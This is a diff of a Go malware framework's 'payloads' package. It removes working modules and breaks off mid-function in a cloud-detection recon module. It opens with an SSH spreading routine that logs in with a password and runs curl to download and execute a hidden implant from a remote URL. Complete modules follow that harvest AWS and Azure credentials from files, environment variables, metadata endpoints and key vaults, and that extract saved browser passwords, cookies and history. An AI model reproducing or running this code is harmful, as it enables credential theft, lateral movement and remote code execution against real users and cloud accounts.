config := &ssh.ClientConfig{
|
||||
User: username,
|
||||
Auth: []ssh.AuthMethod{ssh.Password(password)},
|
||||
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||
Timeout: 5 * time.Second,
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:22", host)
|
||||
client, err := ssh.Dial("tcp", addr, config)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
// Execute download and run
|
||||
session, err := client.NewSession()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
cmd := fmt.Sprintf("curl -s %s -o /tmp/.update.py && python3 /tmp/.update.py &", implantURL)
|
||||
session.Run(cmd)
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
var _ = filepath.Join
|
||||
@@ -1,207 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&AWSCredStealer{})
|
||||
}
|
||||
|
||||
type AWSCredStealer struct{}
|
||||
|
||||
func (a *AWSCredStealer) Name() string { return "aws_cred_stealer" }
|
||||
func (a *AWSCredStealer) Category() string { return "credential" }
|
||||
func (a *AWSCredStealer) Description() string {
|
||||
return "Harvest AWS credentials from metadata endpoint, env vars, config files, disk"
|
||||
}
|
||||
|
||||
func (a *AWSCredStealer) Execute(args map[string]string) ([]byte, error) {
|
||||
result := a.extract()
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type awsCredResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Credentials map[string]interface{} `json:"credentials"`
|
||||
UserdataSecret map[string]interface{} `json:"userdata_secrets,omitempty"`
|
||||
}
|
||||
|
||||
func (a *AWSCredStealer) extract() *awsCredResult {
|
||||
r := &awsCredResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Credentials: make(map[string]interface{}),
|
||||
}
|
||||
|
||||
// 1. AWS CLI credentials file
|
||||
home, _ := os.UserHomeDir()
|
||||
credFile := filepath.Join(home, ".aws", "credentials")
|
||||
if data, err := os.ReadFile(credFile); err == nil {
|
||||
r.Credentials["cli_credentials"] = parseAWSCredentials(string(data))
|
||||
}
|
||||
|
||||
// 2. Environment variables
|
||||
envCreds := make(map[string]string)
|
||||
for _, v := range []string{"AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN", "AWS_DEFAULT_REGION"} {
|
||||
if val := os.Getenv(v); val != "" {
|
||||
envCreds[v] = val
|
||||
}
|
||||
}
|
||||
if len(envCreds) > 0 {
|
||||
r.Credentials["environment"] = envCreds
|
||||
}
|
||||
|
||||
// 3. EC2 Instance Metadata
|
||||
client := &http.Client{Timeout: 2 * time.Second}
|
||||
if imdsCreds := getEC2MetadataCredentials(client); len(imdsCreds) > 0 {
|
||||
r.Credentials["instance_metadata"] = imdsCreds
|
||||
}
|
||||
|
||||
// 4. ECS metadata
|
||||
if uri := os.Getenv("ECS_CONTAINER_METADATA_URI"); uri != "" {
|
||||
resp, err := client.Get(uri + "/task")
|
||||
if err == nil {
|
||||
defer resp.Body.Close()
|
||||
data, _ := io.ReadAll(resp.Body)
|
||||
var parsed map[string]interface{}
|
||||
if json.Unmarshal(data, &parsed) == nil {
|
||||
r.Credentials["ecs_task"] = parsed
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 5. Lambda env detection
|
||||
lambdaVars := make(map[string]string)
|
||||
for _, v := range []string{"AWS_LAMBDA_FUNCTION_NAME", "AWS_LAMBDA_FUNCTION_VERSION", "_HANDLER"} {
|
||||
if val := os.Getenv(v); val != "" {
|
||||
lambdaVars[v] = val
|
||||
}
|
||||
}
|
||||
if len(lambdaVars) > 0 {
|
||||
r.Credentials["lambda"] = lambdaVars
|
||||
}
|
||||
|
||||
// 6. Userdata check
|
||||
r.UserdataSecret = checkEC2Userdata(client)
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func parseAWSCredentials(content string) map[string]interface{} {
|
||||
creds := make(map[string]interface{})
|
||||
re := regexp.MustCompile(`\[(.*?)\]([^[]+)`)
|
||||
matches := re.FindAllStringSubmatch(content, -1)
|
||||
|
||||
for _, match := range matches {
|
||||
profileName := strings.TrimSpace(match[1])
|
||||
profileContent := strings.TrimSpace(match[2])
|
||||
profile := make(map[string]string)
|
||||
|
||||
scanner := bufio.NewScanner(strings.NewReader(profileContent))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if parts := strings.SplitN(line, "=", 2); len(parts) == 2 {
|
||||
profile[strings.TrimSpace(parts[0])] = strings.TrimSpace(parts[1])
|
||||
}
|
||||
}
|
||||
|
||||
if len(profile) > 0 {
|
||||
creds[profileName] = profile
|
||||
}
|
||||
}
|
||||
return creds
|
||||
}
|
||||
|
||||
func getEC2MetadataCredentials(client *http.Client) map[string]interface{} {
|
||||
result := make(map[string]interface{})
|
||||
|
||||
// IMDSv2 token
|
||||
tokenURL := "http://169.254.169.254/latest/api/token"
|
||||
req, _ := http.NewRequest("PUT", tokenURL, nil)
|
||||
req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "21600")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tokBytes, _ := io.ReadAll(resp.Body)
|
||||
token := strings.TrimSpace(string(tokBytes))
|
||||
if token == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Get IAM role
|
||||
roleURL := "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
||||
req, _ = http.NewRequest("GET", roleURL, nil)
|
||||
req.Header.Set("X-aws-ec2-metadata-token", token)
|
||||
resp, err = client.Do(req)
|
||||
if err != nil || resp.StatusCode != 200 {
|
||||
return nil
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
roleData, _ := io.ReadAll(resp.Body)
|
||||
role := strings.TrimSpace(string(roleData))
|
||||
if role == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
result["role_name"] = role
|
||||
|
||||
// Get credentials for the role
|
||||
credURL := fmt.Sprintf("http://169.254.169.254/latest/meta-data/iam/security-credentials/%s", role)
|
||||
req, _ = http.NewRequest("GET", credURL, nil)
|
||||
req.Header.Set("X-aws-ec2-metadata-token", token)
|
||||
resp, err = client.Do(req)
|
||||
if err != nil {
|
||||
return result
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
credBytes, _ := io.ReadAll(resp.Body)
|
||||
var credData map[string]interface{}
|
||||
if json.Unmarshal(credBytes, &credData) == nil {
|
||||
for k, v := range credData {
|
||||
result[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func checkEC2Userdata(client *http.Client) map[string]interface{} {
|
||||
result := make(map[string]interface{})
|
||||
req, _ := http.NewRequest("GET", "http://169.254.169.254/latest/user-data", nil)
|
||||
req.Header.Set("X-aws-ec2-metadata-token", "required")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data, _ := io.ReadAll(resp.Body)
|
||||
if len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
patterns := map[string]*regexp.Regexp{
|
||||
"aws_access_key": regexp.MustCompile(`AKIA[0-9A-Z]{16}`),
|
||||
"aws_secret_key": regexp.MustCompile(`[0-9a-zA-Z/+]{40}`),
|
||||
"password": regexp.MustCompile(`(?i)password[=:]\s*(\S+)`),
|
||||
"api_key": regexp.MustCompile(`(?i)api[_-]?key[=:]\s*(\S+)`),
|
||||
}
|
||||
content := string(data)
|
||||
for name, re := range patterns {
|
||||
matches := re.FindAllString(content, 3)
|
||||
if len(matches) > 0 {
|
||||
result[name] = matches
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -1,213 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&AzureCredHarvester{})
|
||||
}
|
||||
|
||||
type AzureCredHarvester struct{}
|
||||
|
||||
func (a *AzureCredHarvester) Name() string { return "azure_cred_harvester" }
|
||||
func (a *AzureCredHarvester) Category() string { return "credential" }
|
||||
func (a *AzureCredHarvester) Description() string {
|
||||
return "Harvest Azure tokens/credentials from metadata, env, CLI config"
|
||||
}
|
||||
|
||||
func (a *AzureCredHarvester) Execute(args map[string]string) ([]byte, error) {
|
||||
result := a.extract()
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type azureCredResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Credentials map[string]interface{} `json:"credentials"`
|
||||
Resources map[string]interface{} `json:"resources,omitempty"`
|
||||
KeyVaults []map[string]interface{} `json:"key_vaults,omitempty"`
|
||||
}
|
||||
|
||||
func (a *AzureCredHarvester) extract() *azureCredResult {
|
||||
r := &azureCredResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Credentials: make(map[string]interface{}),
|
||||
}
|
||||
|
||||
home, _ := os.UserHomeDir()
|
||||
|
||||
// 1. Azure CLI config
|
||||
azConfig := filepath.Join(home, ".azure", "config")
|
||||
if data, err := os.ReadFile(azConfig); err == nil {
|
||||
r.Credentials["cli_config_raw"] = string(data)
|
||||
}
|
||||
|
||||
// 2. Azure CLI accessTokens.json
|
||||
azToken := filepath.Join(home, ".azure", "accessTokens.json")
|
||||
if data, err := os.ReadFile(azToken); err == nil {
|
||||
var tokens interface{}
|
||||
if json.Unmarshal(data, &tokens) == nil {
|
||||
r.Credentials["cli_tokens"] = tokens
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Azure CLI profile
|
||||
azProfile := filepath.Join(home, ".azure", "azureProfile.json")
|
||||
if data, err := os.ReadFile(azProfile); err == nil {
|
||||
var profile interface{}
|
||||
if json.Unmarshal(data, &profile) == nil {
|
||||
r.Credentials["cli_profile"] = profile
|
||||
}
|
||||
}
|
||||
|
||||
// 4. Environment variables
|
||||
azEnvVars := []string{
|
||||
"AZURE_CLIENT_ID", "AZURE_CLIENT_SECRET", "AZURE_TENANT_ID",
|
||||
"AZURE_SUBSCRIPTION_ID", "AZURE_USERNAME", "AZURE_PASSWORD",
|
||||
}
|
||||
envCreds := make(map[string]string)
|
||||
for _, v := range azEnvVars {
|
||||
if val := os.Getenv(v); val != "" {
|
||||
envCreds[v] = val
|
||||
}
|
||||
}
|
||||
if len(envCreds) > 0 {
|
||||
r.Credentials["environment"] = envCreds
|
||||
}
|
||||
|
||||
// 5. Managed Identity (Azure VM metadata)
|
||||
client := &http.Client{Timeout: 2 * time.Second}
|
||||
req, _ := http.NewRequest("GET",
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
|
||||
nil)
|
||||
req.Header.Set("Metadata", "true")
|
||||
resp, err := client.Do(req)
|
||||
if err == nil && resp.StatusCode == 200 {
|
||||
defer resp.Body.Close()
|
||||
data, _ := io.ReadAll(resp.Body)
|
||||
var tokenData map[string]interface{}
|
||||
if json.Unmarshal(data, &tokenData) == nil {
|
||||
r.Credentials["managed_identity"] = tokenData
|
||||
}
|
||||
}
|
||||
|
||||
// 6. Service principal files
|
||||
spFiles := []string{"/etc/azure/sp.txt", "/var/azure/credentials.json"}
|
||||
for _, spf := range spFiles {
|
||||
if data, err := os.ReadFile(spf); err == nil {
|
||||
if strings.HasSuffix(spf, ".json") {
|
||||
var parsed interface{}
|
||||
if json.Unmarshal(data, &parsed) == nil {
|
||||
r.Credentials[fmt.Sprintf("sp_%s", filepath.Base(spf))] = parsed
|
||||
}
|
||||
} else {
|
||||
r.Credentials[fmt.Sprintf("sp_%s", filepath.Base(spf))] = string(data)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 7. Try az CLI for resource enumeration
|
||||
r.Resources = enumerateAzureResources()
|
||||
r.KeyVaults = checkKeyVaults()
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func enumerateAzureResources() map[string]interface{} {
|
||||
res := make(map[string]interface{})
|
||||
|
||||
azPath, err := exec.LookPath("az")
|
||||
if err != nil {
|
||||
res["error"] = "Azure CLI not found"
|
||||
return res
|
||||
}
|
||||
|
||||
// Show account
|
||||
out, err := exec.Command(azPath, "account", "show").Output()
|
||||
if err == nil {
|
||||
var account interface{}
|
||||
if json.Unmarshal(out, &account) == nil {
|
||||
res["current_subscription"] = account
|
||||
}
|
||||
}
|
||||
|
||||
// List resource groups
|
||||
out, err = exec.Command(azPath, "group", "list").Output()
|
||||
if err == nil {
|
||||
var groups []map[string]interface{}
|
||||
if json.Unmarshal(out, &groups) == nil {
|
||||
var names []string
|
||||
for _, g := range groups {
|
||||
if name, ok := g["name"].(string); ok {
|
||||
names = append(names, name)
|
||||
}
|
||||
}
|
||||
if len(names) > 5 {
|
||||
names = names[:5]
|
||||
}
|
||||
res["resource_groups"] = names
|
||||
}
|
||||
}
|
||||
|
||||
return res
|
||||
}
|
||||
|
||||
func checkKeyVaults() []map[string]interface{} {
|
||||
var vaults []map[string]interface{}
|
||||
azPath, err := exec.LookPath("az")
|
||||
if err != nil {
|
||||
return vaults
|
||||
}
|
||||
|
||||
out, err := exec.Command(azPath, "keyvault", "list").Output()
|
||||
if err != nil {
|
||||
return vaults
|
||||
}
|
||||
|
||||
var parsed []map[string]interface{}
|
||||
if json.Unmarshal(out, &parsed) != nil {
|
||||
return vaults
|
||||
}
|
||||
|
||||
for _, v := range parsed {
|
||||
if len(vaults) >= 3 {
|
||||
break
|
||||
}
|
||||
vaultInfo := map[string]interface{}{
|
||||
"name": v["name"],
|
||||
"resourceGroup": v["resourceGroup"],
|
||||
"location": v["location"],
|
||||
}
|
||||
|
||||
// List secrets
|
||||
name, _ := v["name"].(string)
|
||||
if name != "" {
|
||||
secretOut, err := exec.Command(azPath, "keyvault", "secret", "list",
|
||||
"--vault-name", name).Output()
|
||||
if err == nil {
|
||||
var secrets []interface{}
|
||||
if json.Unmarshal(secretOut, &secrets) == nil {
|
||||
vaultInfo["secrets_count"] = len(secrets)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
vaults = append(vaults, vaultInfo)
|
||||
}
|
||||
|
||||
return vaults
|
||||
}
|
||||
|
||||
// Helper to avoid unused import
|
||||
var _ = bufio.ScanLines
|
||||
var _ = regexp.MustCompile
|
||||
@@ -1,349 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&BrowserStealer{})
|
||||
}
|
||||
|
||||
type BrowserStealer struct{}
|
||||
|
||||
func (b *BrowserStealer) Name() string { return "browserstealer" }
|
||||
func (b *BrowserStealer) Category() string { return "credential" }
|
||||
func (b *BrowserStealer) Description() string {
|
||||
return "Extract saved browser credentials, cookies, and history from Chrome/Firefox/Edge/Brave"
|
||||
}
|
||||
|
||||
func (b *BrowserStealer) Execute(args map[string]string) ([]byte, error) {
|
||||
s := &browserStealerInner{}
|
||||
return s.execute()
|
||||
}
|
||||
|
||||
type browserStealerInner struct {
|
||||
results map[string]*browserData
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type browserData struct {
|
||||
Profiles []profileData `json:"profiles"`
|
||||
Credentials []credEntry `json:"credentials"`
|
||||
Cookies []cookieEntry `json:"cookies"`
|
||||
History []historyEntry `json:"history"`
|
||||
}
|
||||
|
||||
type profileData struct {
|
||||
Name string `json:"profile_name"`
|
||||
Logins []json.RawMessage `json:"logins,omitempty"`
|
||||
Cookies []json.RawMessage `json:"cookies,omitempty"`
|
||||
History []json.RawMessage `json:"history,omitempty"`
|
||||
Bookmarks []json.RawMessage `json:"bookmarks,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type credEntry struct {
|
||||
URL string `json:"url"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
type cookieEntry struct {
|
||||
Host string `json:"host"`
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Expiry int64 `json:"expiry,omitempty"`
|
||||
}
|
||||
|
||||
type historyEntry struct {
|
||||
URL string `json:"url"`
|
||||
Title string `json:"title"`
|
||||
VisitCount int `json:"visit_count"`
|
||||
LastVisit int64 `json:"last_visit"`
|
||||
}
|
||||
|
||||
func (s *browserStealerInner) execute() ([]byte, error) {
|
||||
s.results = make(map[string]*browserData)
|
||||
for _, name := range []string{"firefox", "chrome", "edge", "brave"} {
|
||||
s.results[name] = &browserData{}
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
|
||||
// Firefox
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
s.scanFirefox()
|
||||
}()
|
||||
|
||||
// Chrome-based
|
||||
for _, name := range []string{"chrome", "edge", "brave"} {
|
||||
wg.Add(1)
|
||||
go func(n string) {
|
||||
defer wg.Done()
|
||||
s.scanChromeBased(n)
|
||||
}(name)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
result := map[string]interface{}{
|
||||
"timestamp": time.Now().UTC().Format(time.RFC3339),
|
||||
"extraction_summary": map[string]int{
|
||||
"firefox_profiles": len(s.results["firefox"].Profiles),
|
||||
"chrome_profiles": len(s.results["chrome"].Profiles),
|
||||
"edge_profiles": len(s.results["edge"].Profiles),
|
||||
"brave_profiles": len(s.results["brave"].Profiles),
|
||||
},
|
||||
"total_credentials": s.countCredentials(),
|
||||
"total_cookies": s.countCookies(),
|
||||
"details": s.results,
|
||||
}
|
||||
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
func (s *browserStealerInner) countCredentials() int {
|
||||
count := 0
|
||||
for _, name := range []string{"firefox", "chrome", "edge", "brave"} {
|
||||
for _, p := range s.results[name].Profiles {
|
||||
count += len(p.Logins)
|
||||
}
|
||||
}
|
||||
return count
|
||||
}
|
||||
|
||||
func (s *browserStealerInner) countCookies() int {
|
||||
count := 0
|
||||
for _, name := range []string{"firefox", "chrome", "edge", "brave"} {
|
||||
for _, p := range s.results[name].Profiles {
|
||||
count += len(p.Cookies)
|
||||
}
|
||||
}
|
||||
return count
|
||||
}
|
||||
|
||||
func (s *browserStealerInner) scanFirefox() {
|
||||
home, _ := os.UserHomeDir()
|
||||
paths := []string{
|
||||
filepath.Join(home, ".mozilla", "firefox"),
|
||||
filepath.Join(home, "snap", "firefox", "common", ".mozilla", "firefox"),
|
||||
}
|
||||
|
||||
for _, base := range paths {
|
||||
entries, err := os.ReadDir(base)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
fullPath := filepath.Join(base, e.Name())
|
||||
s.mu.Lock()
|
||||
bd := s.results["firefox"]
|
||||
s.mu.Unlock()
|
||||
|
||||
pd := profileData{Name: e.Name()}
|
||||
|
||||
// logins.json
|
||||
lj := filepath.Join(fullPath, "logins.json")
|
||||
if data, err := os.ReadFile(lj); err == nil {
|
||||
var raw map[string]interface{}
|
||||
if json.Unmarshal(data, &raw) == nil {
|
||||
if logins, ok := raw["logins"].([]interface{}); ok {
|
||||
for _, l := range logins {
|
||||
if b, err := json.Marshal(l); err == nil {
|
||||
pd.Logins = append(pd.Logins, b)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// cookies.sqlite
|
||||
cookieFile := filepath.Join(fullPath, "cookies.sqlite")
|
||||
if cookies, err := readSQLite(cookieFile, "moz_cookies", []string{"host", "name", "value", "path", "expiry"}); err == nil {
|
||||
pd.Cookies = cookies
|
||||
}
|
||||
|
||||
// places.sqlite (history)
|
||||
placesFile := filepath.Join(fullPath, "places.sqlite")
|
||||
if history, err := readSQLite(placesFile, "moz_places", []string{"url", "title", "visit_count", "last_visit_date"}); err == nil {
|
||||
pd.History = history
|
||||
}
|
||||
|
||||
bd.Profiles = append(bd.Profiles, pd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *browserStealerInner) scanChromeBased(name string) {
|
||||
home, _ := os.UserHomeDir()
|
||||
var chromPaths []string
|
||||
|
||||
switch name {
|
||||
case "chrome":
|
||||
chromPaths = []string{
|
||||
filepath.Join(home, ".config", "google-chrome"),
|
||||
filepath.Join(home, ".config", "chromium"),
|
||||
}
|
||||
case "edge":
|
||||
chromPaths = []string{
|
||||
filepath.Join(home, ".config", "microsoft-edge"),
|
||||
}
|
||||
case "brave":
|
||||
chromPaths = []string{
|
||||
filepath.Join(home, ".config", "BraveSoftware", "Brave-Browser"),
|
||||
}
|
||||
}
|
||||
|
||||
s.mu.Lock()
|
||||
bd := s.results[name]
|
||||
s.mu.Unlock()
|
||||
|
||||
for _, base := range chromPaths {
|
||||
entries, err := os.ReadDir(base)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
if e.Name() != "Default" && !strings.Contains(e.Name(), "Profile") {
|
||||
continue
|
||||
}
|
||||
profilePath := filepath.Join(base, e.Name())
|
||||
pd := profileData{Name: e.Name()}
|
||||
|
||||
// Login Data
|
||||
loginFile := filepath.Join(profilePath, "Login Data")
|
||||
if logins, err := readSQLite(loginFile, "logins", []string{"origin_url", "username_value", "password_value", "date_created"}); err == nil {
|
||||
pd.Logins = logins
|
||||
}
|
||||
|
||||
// Cookies
|
||||
cookieFile := filepath.Join(profilePath, "Cookies")
|
||||
if cookies, err := readSQLite(cookieFile, "cookies", []string{"host_key", "name", "value", "path", "expires_utc"}); err == nil {
|
||||
pd.Cookies = cookies
|
||||
}
|
||||
|
||||
// History
|
||||
historyFile := filepath.Join(profilePath, "History")
|
||||
if history, err := readSQLite(historyFile, "urls", []string{"url", "title", "visit_count", "last_visit_time"}); err == nil {
|
||||
pd.History = history
|
||||
}
|
||||
|
||||
bd.Profiles = append(bd.Profiles, pd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func readSQLite(path string, table string, columns []string) ([]json.RawMessage, error) {
|
||||
if _, err := os.Stat(path); os.IsNotExist(err) {
|
||||
return nil, err
|
||||
}
|
||||
// Copy to temp to avoid SQLite locking issues
|
||||
tmpFile, err := os.CreateTemp("", "browser-*.db")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
|
||||
src, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(tmpFile.Name(), src, 0600); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
db, err := sql.Open("sqlite3", tmpFile.Name())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
colStr := ""
|
||||
for i, c := range columns {
|
||||
if i > 0 {
|
||||
colStr += ", "
|
||||
}
|
||||
colStr += c
|
||||
}
|
||||
|
||||
query := fmt.Sprintf("SELECT %s FROM %s LIMIT 100", colStr, table)
|
||||
rows, err := db.Query(query)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []json.RawMessage
|
||||
for rows.Next() {
|
||||
vals := make([]interface{}, len(columns))
|
||||
ptrs := make([]interface{}, len(columns))
|
||||
for i := range vals {
|
||||
ptrs[i] = &vals[i]
|
||||
}
|
||||
if err := rows.Scan(ptrs...); err != nil {
|
||||
continue
|
||||
}
|
||||
row := make(map[string]interface{})
|
||||
for i, col := range columns {
|
||||
row[col] = vals[i]
|
||||
}
|
||||
b, _ := json.Marshal(row)
|
||||
results = append(results, b)
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
|
||||
// Shell-based extraction fallback using sqlite3 CLI
|
||||
func extractSQLiteShell(path, table, columns string) ([]json.RawMessage, error) {
|
||||
_, err := exec.LookPath("sqlite3")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("sqlite3 not found")
|
||||
}
|
||||
cmd := exec.Command("sqlite3", path, fmt.Sprintf("SELECT %s FROM %s LIMIT 100", columns, table))
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var results []json.RawMessage
|
||||
scanner := bufio.NewScanner(bytes.NewReader(out))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
// Parse as JSON
|
||||
var raw interface{}
|
||||
if json.Unmarshal([]byte(line), &raw) == nil {
|
||||
b, _ := json.Marshal(raw)
|
||||
results = append(results, b)
|
||||
} else {
|
||||
b, _ := json.Marshal(map[string]string{"raw": line})
|
||||
results = append(results, b)
|
||||
}
|
||||
}
|
||||
return results, nil
|
||||
}
|
||||
@@ -1,280 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&CloudDetector{})
|
||||
}
|
||||
|
||||
type CloudDetector struct{}
|
||||
|
||||
func (c *CloudDetector) Name() string { return "cloud_detector" }
|
||||
func (c *CloudDetector) Category() string { return "recon" }
|
||||
func (c *CloudDetector) Description() string {
|
||||
return "Detect cloud environment (AWS/Azure/GCP/DigitalOcean/Docker/K8s)"
|
||||
}
|
||||
|
||||
func (c *CloudDetector) Execute(args map[string]string) ([]byte, error) {
|
||||
result := c.detectAll()
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type cloudResult struct {
|
||||
Provider string `json:"provider"`
|
||||
Metadata map[string]string `json:"metadata"`
|
||||
Features map[string]bool `json:"features"`
|
||||
IsCloud bool `json:"is_cloud"`
|
||||
IsVM bool `json:"is_vm"`
|
||||
Hostname string `json:"hostname"`
|
||||
PublicIP string `json:"public_ip,omitempty"`
|
||||
}
|
||||
|
||||
func (c *CloudDetector) detectAll() *cloudResult {
|
||||
r := &cloudResult{
|
||||
Metadata: make(map[string]string),
|
||||
Features: make(map[string]bool),
|
||||
}
|
||||
hostname, _ := os.Hostname()
|
||||
r.Hostname = hostname
|
||||
|
||||
client := &http.Client{Timeout: 2 * time.Second}
|
||||
|
||||
// AWS
|
||||
if detectAWS(client, r) {
|
||||
r.Provider = "aws"
|
||||
r.IsCloud = true
|
||||
}
|
||||
// Azure
|
||||
if detectAzure(client, r) {
|
||||
r.Provider = "azure"
|
||||
r.IsCloud = true
|
||||
}
|
||||
// GCP
|
||||
if detectGCP(client, r) {
|
||||
r.Provider = "gcp"
|
||||
r.IsCloud = true
|
||||
}
|
||||
// DigitalOcean
|
||||
if detectDO(client, r) {
|
||||
r.Provider = "digitalocean"
|
||||
r.IsCloud = true
|
||||
}
|
||||
// Docker
|
||||
if detectDocker(r) {
|
||||
r.Provider = "docker"
|
||||
r.IsCloud = true
|
||||
}
|
||||
// K8s
|
||||
if detectK8s(r) {
|
||||
r.Provider = "kubernetes"
|
||||
r.IsCloud = true
|
||||
}
|
||||
|
||||
// VM detection
|
||||
detectVM(r)
|
||||
|
||||
// Public IP
|
||||
if ip, err := getPublicIP(client); err == nil {
|
||||
r.PublicIP = ip
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func metadataGet(client *http.Client, url, headerKey, headerVal string) string {
|
||||
req, err := http.NewRequest("GET", url, nil)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
if headerKey != "" {
|
||||
req.Header.Set(headerKey, headerVal)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data, _ := io.ReadAll(resp.Body)
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
func detectAWS(client *http.Client, r *cloudResult) bool {
|
||||
// IMDSv2
|
||||
req, _ := http.NewRequest("PUT", "http://169.254.169.254/latest/api/token", nil)
|
||||
req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "21600")
|
||||
resp, err := client.Do(req)
|
||||
token := ""
|
||||
if err == nil {
|
||||
tokBytes, _ := io.ReadAll(resp.Body)
|
||||
token = strings.TrimSpace(string(tokBytes))
|
||||
resp.Body.Close()
|
||||
r.Features["aws_imdsv2"] = token != ""
|
||||
}
|
||||
|
||||
// Check metadata
|
||||
metaURL := "http://169.254.169.254/latest/meta-data/"
|
||||
req, _ = http.NewRequest("GET", metaURL, nil)
|
||||
if token != "" {
|
||||
req.Header.Set("X-aws-ec2-metadata-token", token)
|
||||
}
|
||||
resp, err = client.Do(req)
|
||||
if err != nil || resp.StatusCode != 200 {
|
||||
return false
|
||||
}
|
||||
resp.Body.Close()
|
||||
|
||||
fields := []struct{ key, path string }{
|
||||
{"instance-id", "instance-id"},
|
||||
{"instance-type", "instance-type"},
|
||||
